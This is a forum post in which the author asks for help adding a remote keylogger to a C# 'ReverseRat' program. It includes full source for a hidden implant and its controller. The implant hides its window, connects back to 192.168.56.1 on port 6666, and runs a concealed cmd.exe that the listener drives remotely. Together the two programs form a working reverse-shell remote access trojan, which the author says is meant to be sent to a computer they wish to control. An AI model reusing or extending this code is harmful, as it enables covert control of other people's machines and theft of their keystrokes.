Hey all,
I am trying to implement a remote keylogger into my reverse tcp connection program but IM not sure where to start, I dont usually deal with socket programming so I dont understand giving remote commands, so Id like you guys to either give me a few links or I'd appreciate a few lines of code.
//This is the Server,which is sent to the computer I wish to control
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Net.Sockets;
using System.IO; //for Streams
using System.Diagnostics; //for Process
namespace ReverseRat
{
public partial class Form1 : Form
{
TcpClient tcpClient;
NetworkStream networkStream;
StreamWriter streamWriter;
StreamReader streamReader;
Process processCmd;
StringBuilder strInput;
public Form1()
{
InitializeComponent();
}
private void Form1_Shown(object sender, EventArgs e)
{
this.Hide();
for (;;)
{
RunServer();
System.Threading.Thread.Sleep(5000); //Wait 5 seconds
} //then try again
}
private void RunServer()
{
tcpClient = new TcpClient();
strInput = new StringBuilder();
if (!tcpClient.Connected)
{
try
{
tcpClient.Connect("192.168.56.1", 6666);
networkStream = tcpClient.GetStream();
streamReader = new StreamReader(networkStream);
streamWriter = new StreamWriter(networkStream);
}
catch (Exception err) { return; } //if no Client don't continue
processCmd = new Process();
processCmd.StartInfo.FileName = "cmd.exe";
processCmd.StartInfo.CreateNoWindow = true;
processCmd.StartInfo.UseShellExecute = false;
processCmd.StartInfo.RedirectStandardOutput = true;
processCmd.StartInfo.RedirectStandardInput = true;
processCmd.StartInfo.RedirectStandardError = true;
processCmd.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
processCmd.Start();
processCmd.BeginOutputReadLine();
}
while (true)
{
try
{
strInput.Append(streamReader.ReadLine());
strInput.Append("\n");
if (strInput.ToString().LastIndexOf("terminate") >= 0) StopServer();
if (strInput.ToString().LastIndexOf("exit") >= 0) throw new ArgumentException();
processCmd.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
catch (Exception err)
{
Cleanup();
break;
}
}
}
private void Cleanup()
{
try { processCmd.Kill(); } catch (Exception err) { };
streamReader.Close();
streamWriter.Close();
networkStream.Close();
}
private void StopServer()
{
Cleanup();
System.Environment.Exit(System.Environment.ExitCode);
}
private void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
}
}
//This is the client which Id like to send the commad to begin the keyloggin
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Net.Sockets;
using System.IO; //for Streams
using System.Threading; //to run commands concurrently
using System.Net; //for IPEndPoint
namespace ReverseRatClient
{
public partial class Form1 : Form
{
TcpListener tcpListener;
Socket socketForServer;
NetworkStream networkStream;
StreamWriter streamWriter;
StreamReader streamReader;
StringBuilder strInput;
Thread th_StartListen,th_RunClient;
public Form1()
{
InitializeComponent();
}
private void Form1_Shown(object sender, EventArgs e)
{
th_StartListen = new Thread(new ThreadStart(StartListen));
th_StartListen.Start();
textBox2.Focus();
}
private void StartListen()
{
tcpListener = new TcpListener(System.Net.IPAddress.Any, 6666);
tcpListener.Start();
toolStripStatusLabel1.Text = "Listening on port 6666 ...";
for (;;)
{
socketForServer = tcpListener.AcceptSocket();
IPEndPoint ipend = (IPEndPoint)socketForServer.RemoteEndPoint;
toolStripStatusLabel1.Text = "Connection from " + IPAddress.Parse(ipend.Address.ToString());
th_RunClient = new Thread(new ThreadStart(RunClient));
th_RunClient.Start();
}
}
private void RunClient()
{
networkStream = new NetworkStream(socketForServer);
streamReader = new StreamReader(networkStream);
streamWriter = new StreamWriter(networkStream);
strInput = new StringBuilder();
while (true)
{
try
{
strInput.Append(streamReader.ReadLine());
strInput.Append("\r\n");
}
catch (Exception err)
{
Cleanup();
break;
}
Application.DoEvents();
DisplayMessage(strInput.ToString());
strInput.Remove(0, strInput.Length);
}
}
private void Cleanup()
{
try
{
streamReader.Close();
streamWriter.Close();
networkStream.Close();
socketForServer.Close();
}
catch (Exception err) { }
toolStripStatusLabel1.Text = "Connection Lost";
}
private delegate void DisplayDelegate(string message);
private void DisplayMessage(string message)
{
if (textBox1.InvokeRequired)
{
Invoke(new DisplayDelegate(DisplayMessage), new object[] { message });
}
else
{
textBox1.AppendText(message);
}
}
private void textBox2_KeyDown(object sender, KeyEventArgs e)
{
try
{
if (e.KeyCode == Keys.Enter)
{
strInput.Append(textBox2.Text.ToString());
streamWriter.WriteLine(strInput);
streamWriter.Flush();
strInput.Remove(0, strInput.Length);
if (textBox2.Text == "exit") Cleanup();
if (textBox2.Text == "terminate") Cleanup();
if (textBox2.Text == "cls") textBox1.Text = "";
textBox2.Text = "";
}
}
catch (Exception err) { }
}
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
Cleanup();
System.Environment.Exit(System.Environment.ExitCode);
}
private void textBox1_TextChanged(object sender, EventArgs e)
{
}
My Client side program(the one from which I will send the command) connects succesfully to my ip adress and then starts up the cmd I have implemented in my form which gives me the regular cmd commands such as SHUTDOWN, I type in these commands from a small textbox right below the cmd.....
Any help given will be appreciated